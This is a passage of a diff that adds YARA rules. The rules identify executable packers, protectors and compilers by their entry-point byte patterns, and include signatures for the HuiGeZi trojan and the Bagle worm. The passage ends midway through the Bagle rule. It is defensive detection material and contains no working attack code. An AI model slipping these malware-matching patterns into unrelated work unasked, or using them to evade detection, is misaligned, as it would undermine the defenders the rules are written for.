+		$0 = {E8 ?? ?? 5B 50 56 B4 CB CD 21 3C 07 ?? ?? 81 ?? ?? ?? 2E ?? ?? 4D 5A ?? ?? BF 00 01 89 DE FC}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v1304__Cyberbob_
+{
+	meta:
+		description = "PESpin v1.304 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_GCC_3x_
+{
+	meta:
+		description = "MinGW GCC 3.x"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? ?? E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? 55}
+	condition:
+		$0 at entrypoint
+}
+rule _PeX_099__bartCrackPl_
+{
+	meta:
+		description = "PeX 0.99 -> bart^CrackPl"
+	strings:
+		$0 = {E9 F5 ?? ?? ?? 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_302_
+{
+	meta:
+		description = "UPX 3.02"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 89 E5 8D 9C}
+	condition:
+		$0 at entrypoint
+}
+rule _PROTECT_EXECOM_v50_
+{
+	meta:
+		description = "PROTECT! EXE/COM v5.0"
+	strings:
+		$0 = {1E 0E 0E 1F 07}
+	condition:
+		$0 at entrypoint
+}
+rule _GX_Protector_12__GurueXe_
+{
+	meta:
+		description = "G!X Protector 1.2 -> Guru.eXe"
+	strings:
+		$0 = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v250_
+{
+	meta:
+		description = "Armadillo v2.50"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_01__Cyberbob_h_
+{
+	meta:
+		description = "PESpin 0.1 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_Neolite_20_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Neolite 2.0]"
+	strings:
+		$0 = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_1214_SE_DLL__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.2/1.4 SE DLL -> SIS-Team"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC 11 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _Splash_Bitmap_v100__BoB__Bobsoft_
+{
+	meta:
+		description = "Splash Bitmap v1.00 -> BoB / Bobsoft"
+	strings:
+		$0 = {E8 00 00 00 00 60 8B 6C 24 20 55 81 ED ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 F9 31 C0 FC F3 AA 8B 04 24 48 66 25 00 F0 66 81 38 4D 5A 75 F4 8B 48 3C 81 3C 01 50 45 00 00 75 E8 89 85 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_133__21_Registered__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect 1.33 - 2.1 Registered -> Alexey Solodovnikov"
+	strings:
+		$0 = {68 01 ?? ?? ?? E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v150_1_
+{
+	meta:
+		description = "PKLITE v1.50 (1)"
+	strings:
+		$0 = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 ?? BA ?? ?? CD 21 B8 ?? ?? CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_12DLLDemo__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.2.DLL.Demo -> SIS-Team"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B}
+		$1 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_Watcom_CCpp_DLL_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Watcom C/C++ DLL]"
+	strings:
+		$0 = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87 01 00 00 00 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v20_
+{
+	meta:
+		description = "Stone's PE Encryptor v2.0"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 42 30 40 ?? FF 95 32 35 40 ?? B8 37 30 40 ?? 03 C5 2B 85 1B 34 40 ?? 89 85 27 34 40 ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v100_
+{
+	meta:
+		description = "HACKSTOP v1.00"
+	strings:
+		$0 = {FA BD ?? ?? FF E5 6A 49 48 0C ?? E4 ?? 3F 98 3F}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_SKE_2122_dll__Alexey_Solodovnikov_h_
+{
+	meta:
+		description = "ASProtect SKE 2.1/2.2 (dll) -> Alexey Solodovnikov (h)"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _EXECryptor_V22X__softcompletecom_
+{
+	meta:
+		description = "EXECryptor V2.2X -> softcomplete.com"
+	strings:
+		$0 = {FF E0 E8 04 00 00 00 FF FF FF FF 5E C3 00}
+	condition:
+		$0
+}
+rule _MS_RunTime_Library_1990_10_
+{
+	meta:
+		description = "MS Run-Time Library 1990 (10)"
+	strings:
+		$0 = {E8 ?? ?? 2E FF 2E ?? ?? BB ?? ?? E8 ?? ?? CB}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V118_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.18 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V119_LZMA_430__ap0x__Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.19 (LZMA 4.30) -> ap0x ! Sign by fly"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_152_Stub_engine_16__GlOFF_
+{
+	meta:
+		description = "FreeJoiner 1.5.2 (Stub engine 1.6) -> GlOFF"
+	strings:
+		$0 = {E8 46 FD FF FF 50 E8 0C 00 00 00 FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V22006710V220070411__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2006.7.10-V2.2007.04.11 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v60_DLL_
+{
+	meta:
+		description = "Microsoft Visual Basic v6.0 DLL"
+	strings:
+		$0 = {5A 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E9 ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_XCR_011__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [XCR 0.11] -> Anorganix"
+	strings:
+		$0 = {60 8B F0 33 DB 83 C3 01 83 C0 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_Executable_Image_Packer_0001__bubba_
+{
+	meta:
+		description = "Packman Executable Image Packer 0.0.0.1 -> bubba"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 8D A8 ?? ?? FF FF 8D 98 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _BJFnt_v11b_
+{
+	meta:
+		description = ".BJFnt v1.1b"
+	strings:
+		$0 = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Guard_for_Win32_v500__SofProBlagoje_Ceklic_h_
+{
+	meta:
+		description = "PC Guard for Win32 v5.00 -> SofPro/Blagoje Ceklic (h)"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeBASIC_016b_
+{
+	meta:
+		description = "FreeBASIC 0.16b"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 88 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 68 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D}
+		$1 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 88 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 68 FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D C3 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_30__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 3.0] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PEArmor_V0760V0765__hying_
+{
+	meta:
+		description = "PE-Armor V0.760-V0.765 -> hying"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72}
+	condition:
+		$0 at entrypoint
+}
+rule _DEF_v100_Eng__bartxt_
+{
+	meta:
+		description = "DEF v1.00 (Eng) -> bart/xt"
+	strings:
+		$0 = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_v118_Basic_DLL_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack v1.18 Basic DLL [aPLib] -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v2xx_CopyMem_II_
+{
+	meta:
+		description = "Armadillo v2.xx (CopyMem II)"
+	strings:
+		$0 = {6A ?? 8B B5 ?? ?? ?? ?? C1 E6 04 8B 85 ?? ?? ?? ?? 25 07 ?? ?? 80 79 05 48 83 C8 F8 40 33 C9 8A 88 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 81 E2 07 ?? ?? 80 79 05 4A 83 CA F8 42 33 C0 8A 82}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_224__StrongbitSoftComplete_Development_h2_
+{
+	meta:
+		description = "EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h2)"
+	strings:
+		$0 = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1332__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0}
+		$1 = {EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 02 ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 3B 27 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PCPEC_alpha_
+{
+	meta:
+		description = "PCPEC [alpha]"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 8B CD 81 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PE_Intro_10_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Intro 1.0]"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v22__wwwun4seencompetite_
+{
+	meta:
+		description = "Petite v2.2 -> www.un4seen.com/petite"
+	strings:
+		$0 = {B8 00 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _nSpack_V23__LiuXingPing_
+{
+	meta:
+		description = "nSpack V2.3 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 70 61 63 6B 24 40}
+	condition:
+		$0
+}
+rule _PEArmor_07600765__hying_
+{
+	meta:
+		description = "PE-Armor 0.760-0.765 -> hying"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00}
+	condition:
+		$0
+}
+rule _Crunch_v5__BitArts_
+{
+	meta:
+		description = "Crunch v5 -> Bit-Arts"
+	strings:
+		$0 = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00 00 8B 56 3C 8D 8C 32 C8 00 00 00 83 39 00 74 50 8B D9 53 68 BB D4 C3 79 33 C0 50 E8 0E 04 00 00 50 8D 95 EC 07 00 00 52 6A 04 68 00 10 00 00 FF B5 E8 07 00 00 FF D0 58 5B C7 03 00 00 00 00 C7 43 04 00 00 00 00 8D 95 F0 07 00 00 52 FF B5 EC 07 00 00 68 00 10 00 00 FF B5 E8 07 00 00 FF D0 68 6C D9 B2 96 33 C0 50 E8 C1 03 00 00 89 85 ?? 46 00 00 68 EC 49 7B 79 33 C0 50 E8 AE 03 00 00 89 85 ?? 46 00 00 E8 04 06 00 00 E9 F3 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v0977_
+{
+	meta:
+		description = "PECompact v0.977"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB A0 86 40 ?? 87 DD 8B 85 2A 87}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXHiT_v001_
+{
+	meta:
+		description = "UPX$HiT v0.0.1"
+	strings:
+		$0 = {94 BC ?? ?? ?? 00 B9 ?? 00 00 00 80 34 0C ?? E2 FA 94 FF E0 61}
+	condition:
+		$0
+}
+rule _PackItBitch_V10_archphase_
+{
+	meta:
+		description = "PackItBitch V1.0-> archphase"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+	condition:
+		$0 at entrypoint
+}
+rule _PESHiELD_02_
+{
+	meta:
+		description = "PE-SHiELD 0.2"
+	strings:
+		$0 = {60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v107b_DLL_
+{
+	meta:
+		description = "ASPack v1.07b (DLL)"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5}
+	condition:
+		$0 at entrypoint
+}
+rule _NTKrnlPacker__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "NTKrnlPacker -> Ashkbiz Danehkar"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+	condition:
+		$0
+}
+rule _FreeCryptor_01_build_001_GlOFF_
+{
+	meta:
+		description = "FreeCryptor 0.1 (build 001)-> GlOFF"
+	strings:
+		$0 = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 68 26 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+	condition:
+		$0
+}
+rule _WARNING__TROJAN__HuiGeZi_
+{
+	meta:
+		description = "WARNING -> TROJAN -> HuiGeZi"
+	strings:
+		$0 = {55 8B EC 81 C4 ?? FE FF FF 53 56 57 33 C0 89 85 ?? FE FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _CauseWay_DOS_Extender_v325_
+{
+	meta:
+		description = "CauseWay DOS Extender v3.25"
+	strings:
+		$0 = {FA 16 1F 26 ?? ?? ?? 83 ?? ?? 8E D0 FB 06 16 07 BE ?? ?? 8B FE B9 ?? ?? F3 A4 07}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_27b_
+{
+	meta:
+		description = "Exe Shield 2.7b"
+	strings:
+		$0 = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40}
+	condition:
+		$0
+}
+rule _CrunchPE_v20xx_
+{
+	meta:
+		description = "Crunch/PE v2.0.x.x"
+	strings:
+		$0 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 55 BB ?? ?? ?? ?? 03 DD 53 64 67 FF 36 ?? ?? 64 67 89 26}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_14__Liuxingping_
+{
+	meta:
+		description = "NsPack 1.4 -> Liuxingping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 ?? ?? 40 00 2D ?? ?? 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _VIRUS__IWormBagle_
+{
+	meta:
+		description = "VIRUS - I-Worm.Bagle"
+	strings:
+		$0 = {6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00}
